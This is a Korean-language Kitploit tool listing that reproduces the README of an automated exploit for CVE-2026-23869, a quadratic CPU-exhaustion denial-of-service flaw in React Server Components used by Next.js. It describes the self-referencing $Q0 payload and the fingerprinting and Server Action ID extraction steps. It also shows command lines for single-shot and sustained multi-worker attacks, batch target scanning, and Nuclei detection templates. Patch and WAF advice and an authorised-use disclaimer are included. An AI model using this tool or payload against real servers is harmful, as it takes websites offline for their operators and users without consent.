Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-23869-Exploit — CVE-2026-23869 자동 익스플로잇 도구로, React Server Components의 원격 DoS 취약점입니다. 탐지 및 익스플로잇을 위한 PoC, Nuclei 템플릿, 스캐닝 스크립트를 포함합니다. | Kitploit
도구/GitHubGitHub/cybertechajju/cve-2026-23869-exploit
ReconnaissanceVulnerability ScannersExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubcybertechajju/cve-2026-23869-exploit

CVE-2026-23869-Exploit

CVE-2026-23869 자동 익스플로잇 도구로, React Server Components의 원격 DoS 취약점입니다. 탐지 및 익스플로잇을 위한 PoC, Nuclei 템플릿, 스캐닝 스크립트를 포함합니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
814개월 전아직 검토되지 않음

CVE Severity React Next.js Type

⚡ CVE-2026-23869 — React2DoS

React Flight 프로토콜을 통한 인증 없는 원격 서비스 거부(DoS)
서버 컴포넌트 Map 역직렬화의 2차 CPU 고갈

개요 • 작동 원리 • 도구 • 설치 • 사용법 • Nuclei • 수정 • 면책 조항


취약점 개요

필드세부 정보
CVE IDCVE-2026-23869
별칭React2DoS
CVSS 점수7.5 (높음)
CVSS 벡터CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWECWE-400 (통제되지 않은 리소스 소비)
유형인증 없는 원격 서비스 거부(DoS)
발견자Yohann Sillam (Imperva Threat Research)
영향 범위react-server-dom-webpack / parcel / turbopack ≤ 19.2.4
패치 버전React 19.2.5+ / Next.js 15.5.15+ / 16.2.3+

React Server Components의 Flight 프로토콜 역직렬화에 심각한 서비스 거부(DoS) 취약점이 존재합니다. 인증되지 않은 공격자는 단일하게 조작된 HTTP 요청을 Next.js App Router Server Action 엔드포인트에 전송하여 2차 O(n²) CPU 고갈을 유발하고 서버를 수 분 동안 잠글 수 있습니다.

참고 자료

  • Vercel 공식 권고
  • Imperva 기술 분석 — "React2DoS"
  • React 패치 PR #36236
  • NVD 항목

작동 원리

버그: Map 역직렬화에서 누락된 consumed 플래그

React Flight 프로토콜은 데이터 유형을 직렬화하기 위해 특수 마커를 사용합니다. $Q는 Map 객체를 나타냅니다. 서버가 자기 참조 $Q0 마커를 포함하는 페이로드를 수신하면:

root@kitploit:~
Payload: [ [1,1], [1,1], ...(n개의 유효한 항목)..., "$Q0", "$Q0", ...(n개의 참조)... ]

각 $Q0 는 모든 n개의 유효한 항목을 반복하는 new Map() 생성자를 트리거합니다. Map 생성자는 오류를 발생시키지만(항목이 잘못되었기 때문에), 핵심 버그는 실패 시 consumed 플래그가 설정되지 않는다는 것입니다.

즉, 다음 $Q0 가 동일한 Map을 처음부터 다시 계산하여 O(n²) 복잡도를 생성합니다:

root@kitploit:~
n개의 유효한 항목 × n개의 $Q0 참조 = n² Map 생성자 호출

예시: 65,000 × 65,000 = 4,225,000,000 작업
결과: 단일 요청이 CPU를 5-10+분 동안 잠금

공격 흐름

root@kitploit:~
┌──────────┐     POST / (multipart/form-data)      ┌──────────────────┐
│ 공격자    │ ──────────────────────────────────────▶ │  Next.js 서버    │
│          │     헤더: Next-Action: <action_id>   │                  │
│          │     본문: [[1,1]...,"$Q0","$Q0"...]    │  ██████████ CPU  │
│          │                                        │  100% 잠금       │
└──────────┘                                        │  ~5-10분 동안     │
                                                    └──────────────────┘

취약한 코드 (패치 전)

root@kitploit:~
// ReactFlightReplyServer.js — 패치 전
case "Q": {
  const data = getOutlinedModel(response, id, obj);
  return new Map(data);  // ← 실패하지만 consumed = true를 설정하지 않음
                         //   다음 $Q0가 처음부터 다시 계산
}

패치된 코드 (패치 후)

root@kitploit:~
// ReactFlightReplyServer.js — 패치 후 (React 19.2.5+)
case "Q": {
  const data = getOutlinedModel(response, id, obj);
  obj.consumed = true;   // ← 수정: 생성 전에 플래그 설정
  return new Map(data);  //   반복 재계산 방지
}

포함된 도구

파일설명
poc.py4단계 파이프라인(정찰 → 추출 → 탐지 → 공격)을 갖춘 완전 자동 공격 도구
CVE-2026-23869.yaml흐름 기반 오케스트레이션을 갖춘 Nuclei 탐지 템플릿

설치

root@kitploit:~
# 저장소 클론
git clone https://github.com/cybertechajju/CVE-2026-23869-Exploit.git
cd CVE-2026-23869-Exploit

# Python 의존성 설치
pip install requests

# 스크립트 실행 권한 부여
chmod +x poc.py scan.sh extract-action-ids.sh

선택적 의존성

root@kitploit:~
# Nuclei 템플릿 스캐닝용
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# 라이브 대상 필터링용
go install github.com/projectdiscovery/httpx/cmd/httpx@latest

사용법

🔥 완전 자동 스캔 (단일 대상)

URL만 제공하면 도구가 모든 것을 자동으로 수행합니다:

root@kitploit:~
python3 poc.py -u https://target.com

수행 과정:

  1. 1단계 — 정찰: Next.js 핑거프린팅 (헤더, HTML 마커, 빌드 ID)
  2. 2단계 — 추출: JS 번들에서 Server Action ID 찾기
  3. 3단계 — 탐지: 안전한 타이밍 기반 취약점 확인 (500개 항목 프로브)
  4. 4단계 — 보고: 타이밍 분석과 함께 취약점 판정 표시

📋 배치 스캔 (다중 대상)

root@kitploit:~
# 도메인/IP 목록 스캔
python3 poc.py -L targets.txt

# JSON 보고서 출력 포함
python3 poc.py -L targets.txt -o results.json

🎯 수동 모드 (알려진 Action ID)

root@kitploit:~
# 안전한 탐지만 수행
python3 poc.py -u https://target.com -a <ACTION_ID> --detect

# 단발성 공격
python3 poc.py -u https://target.com -a <ACTION_ID> --single

# 지속적 DoS (10개 워커)
python3 poc.py -u https://target.com -a <ACTION_ID> --exploit -w 10

🔍 Action ID만 추출

root@kitploit:~
python3 poc.py -u https://target.com --extract

⚙️ 모든 옵션

root@kitploit:~
Options:
  -u, --url URL          대상 URL (단일 대상)
  -L, --list FILE        대상 URL/IP 목록 파일 (줄당 하나)
  -a, --action-id ID     Server Action ID (자동 추출 건너뛰기)
  --detect               탐지만 수행 — 안전, 비파괴적 (기본값)
  --single               탐지 후 단발성 공격
  --exploit              탐지 후 지속적 DoS
  --extract              Action ID만 추출
  -l, --length N         페이로드 항목 수 (기본값: 130000)
  -w, --workers N        동시 워커 수 (기본값: 5)
  -d, --delay SEC        요청 간 지연 시간 (기본값: 1.0)
  -o, --output FILE      JSON 보고서 저장
  -t, --threads N        목록 스캔 시 동시 대상 수 (기본값: 3)

이전 버전 호환성

기존 PoC 구문도 여전히 작동합니다:

root@kitploit:~
python3 poc.py <ACTION_ID> <URL>

Nuclei 템플릿

빠른 스캔

root@kitploit:~
# 단일 대상
nuclei -t ./CVE-2026-23869.yaml -u https://target.com -itags dos

# 다중 대상
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos

# 깔끔한 출력 (취약한 결과만)
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos -silent

참고: Nuclei는 기본적으로 안전을 위해 DoS 템플릿을 제외하므로 -itags dos 플래그가 필수입니다.

템플릿 탐지 흐름

root@kitploit:~
요청 1 (GET /)     →  Next.js 핑거프린팅 (헤더 + HTML 마커)
요청 2 (GET /)     →  createServerReference()에서 Server Action ID 추출
요청 3 (POST /)    →  기준 타이밍 요청 (무해한 페이로드)
요청 4 (POST /)    →  공격 프로브 (250개 유효 + 250개 $Q0 항목)
                         └─ 응답 시간 ≥ 3초 → 취약함

자동 스캐너 스크립트

root@kitploit:~
# httpx 실행 → 라이브 대상 필터링 → nuclei 스캔 → 결과
./scan.sh

# 또는 사용자 지정 파일 지정
./scan.sh targets1.txt targets2.txt

탐지 로직

이 도구는 타이밍 기반 탐지를 사용하여 취약한 서버를 안전하게 식별합니다:

다음 조건에서 탐지가 확인됩니다:

  • 프로브 응답 시간 ≥ 3초, 또는
  • 프로브/기준 비율 > 5배 및 프로브 시간 > 1초

영향받는 버전


수정 방법

  1. React를 버전 19.2.5 이상으로 업그레이드
  2. Next.js를 버전 15.5.15 또는 16.2.3 이상으로 업그레이드
  3. WAF 규칙: $Q 마커가 포함된 비정상적으로 큰 multipart/form-data 본문 요청 차단
  4. 속도 제한: Server Action 엔드포인트에 속도 제한 구현
  5. 모니터링: /에 대한 POST 요청과 연관된 높은 CPU 사용량 알림 설정

프로젝트 구조

root@kitploit:~
CVE-2026-23869-Exploit/
├── README.md                  # 이 파일
├── poc.py                     # 완전 자동 PoC 공격 도구
├── CVE-2026-23869.yaml        # Nuclei 탐지 템플릿
├── scan.sh                    # httpx + nuclei 자동 스캐너
└── extract-action-ids.sh      # 독립형 action ID 추출기

스크린샷

완전 자동 스캔

root@kitploit:~
  ╔══════════════════════════════════════════════════╗
  ║  PHASE 1 ▸ RECONNAISSANCE                       ║
  ╚══════════════════════════════════════════════════╝

  ✓ Next.js 감지됨 (Next.js)
  ✓ 빌드 ID: abc123def456
  ✓ App Router: Server Actions 감지됨

  ╔══════════════════════════════════════════════════╗
  ║  PHASE 2 ▸ ACTION ID EXTRACTION                 ║
  ╚══════════════════════════════════════════════════╝

  ✓ 3개의 Action ID 발견:
    1. a1b2c3d4e5f6789012345678901234567890abcd
    2. b2c3d4e5f67890123456789012345678901234ef

  ╔══════════════════════════════════════════════════╗
  ║  PHASE 3 ▸ VULNERABILITY DETECTION               ║
  ╚══════════════════════════════════════════════════╝

  [1/2] 기준: 0.142초
  [2/2] 프로브: 7.891초 (기준의 55.6배)

  ██ 취약함 — CVE-2026-23869 확인됨 ██

배치 스캔 결과

root@kitploit:~
  ╔══════════════════════════════════════════════════════════════╗
  ║  BATCH SCAN RESULTS                                         ║
  ╚══════════════════════════════════════════════════════════════╝

  스캔 대상    : 45.2초 동안 150개 대상
  취약함      : 3
  패치됨      : 12
  건너뜀      : 135

  🔴 취약한 대상
  ─────────────────────────────────────────────────
   #   대상                           프로브    비율
     1  vulnerable-app.com             7.89초    55.6배
     2  staging.example.com            4.21초    28.1배
     3  dev.testsite.org              12.33초    82.2배

면책 조항

⚠️ 승인된 보안 테스트 전용

이 도구는 교육 목적 및 승인된 침투 테스트용으로만 제공됩니다. 소유하지 않거나 명시적 테스트 권한이 없는 대상에 대한 무단 사용은 불법이며 컴퓨터 사기 법률(CFAA, CMA 등)을 위반할 수 있습니다.

저자는 이 도구로 인한 오용이나 손해에 대해 책임을 지지 않습니다. 시스템을 테스트하기 전에 항상 적절한 서면 승인을 받으십시오.


크레딧

  • 취약점 연구: Yohann Sillam — Imperva Threat Research
  • PoC 개발: cybertechajju
  • React 패치: Facebook/Meta React 팀

Stars Forks License

유용하다고 생각되면 ⭐을 주는 것을 고려해 주세요

도구 다운로드
scan.sh래퍼 스크립트: httpx 라이브 필터링 + nuclei 스캐닝
extract-action-ids.sh독립형 Server Action ID 추출기
지표취약함패치됨
기준 (무해한 요청)~0.1-0.5초~0.1-0.5초
프로브 (500개 항목)3-10+초~0.1-0.5초
비율 (프로브/기준)>5배~1배
전체 페이로드 (130K 항목)5-10+분~0.1-0.5초
패키지취약함수정됨
react-server-dom-webpack≤ 19.2.419.2.5+
react-server-dom-parcel≤ 19.2.419.2.5+
react-server-dom-turbopack≤ 19.2.419.2.5+
Next.js< 15.5.1515.5.15+
Next.js 16.x< 16.2.316.2.3+